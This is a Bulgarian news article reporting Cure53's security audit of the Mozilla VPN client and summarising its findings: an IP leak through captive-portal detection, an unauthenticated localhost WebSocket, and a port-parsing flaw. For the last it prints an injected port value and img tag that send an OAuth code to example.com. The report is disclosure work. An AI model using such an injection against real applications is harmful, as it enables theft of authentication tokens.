Компания Mozilla обяви завършването на независим одит на клиентското софтуерно приложение за свързване към услугата Mozilla VPN. В хода на одита беше направен анализ на отделно клиентско приложение, написано с помощта на библиотеката Qt и предоставяно за Linux, macOS, Windows, Android и iOS. Работата на Mozilla VPN се осъществява от над 400 сървъра на шведския VPN оператор Mullvad, разположени в повече от 30 държави. Свързването с VPN- услугата става чрез протокола WireGuard.
Одитът е извършен от компанията Cure53, която по-рано е извършвала одити на проекти като NTPsec, SecureDrop, Cryptocat, F-Droid и Dovecot. Одитът включваше проверка на изходния код и изпълнение на тестове за откриване на възможни уязвимости (въпросите, свързани с криптография, не бяха разглеждани). В хода на проверката бяха установени 16 проблеми със сигурността, от които 8 бяха с характера на препоръки, 5 получиха нисък риск, 2 — среден, а 1 — висок.
При това само един проблем със среден риск беше класифициран като уязвимост, тъй като единствено той можеше да бъде експлоатиран. Указаният проблем водеше до изтичане на информация за използването на VPN в кода за определяне на captive portal поради изпращане на незашифровани директни заявки по HTTP, предавани извън VPN тунела и разкриващи основния IP адрес на потребителя, в случай че атакуващият може да контролира транзитния трафик. Проблемът може да бъде разрешен, като се деактивира режимът на определяне на captive portal в настройките.
Втората проблемa със средна степен на опасност е свързана с отсъствието на подходящо почистване на нечисловите стойности в номера на порта, което позволява изтичане на параметри за удостоверяване OAuth чрез подмяна на номера на порта с низ от вида "1234@example.com", което ще доведе до инсталация на етикет <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, който се обръща към example.com вместо 127.0.0.1.
Третият проблем, обозначен като опасен, позволява на всяко локално приложение без аутентикация да се свърже с VPN клиента през WebSocket, свързан с localhost. Като пример е показано как при активен VPN клиент, всеки сайт можеше да организира създаването и изпращането на екранна снимка чрез генериране на събитие screen_capture. Проблемът не беше класифициран като уязвимост, тъй като WebSocket се използваше само в вътрешни тестови версии и приложението на този комуникационен канал само се планираше в бъдеще за организиране на взаимодействие с браузърното разширение.
Източник: opennet.ru
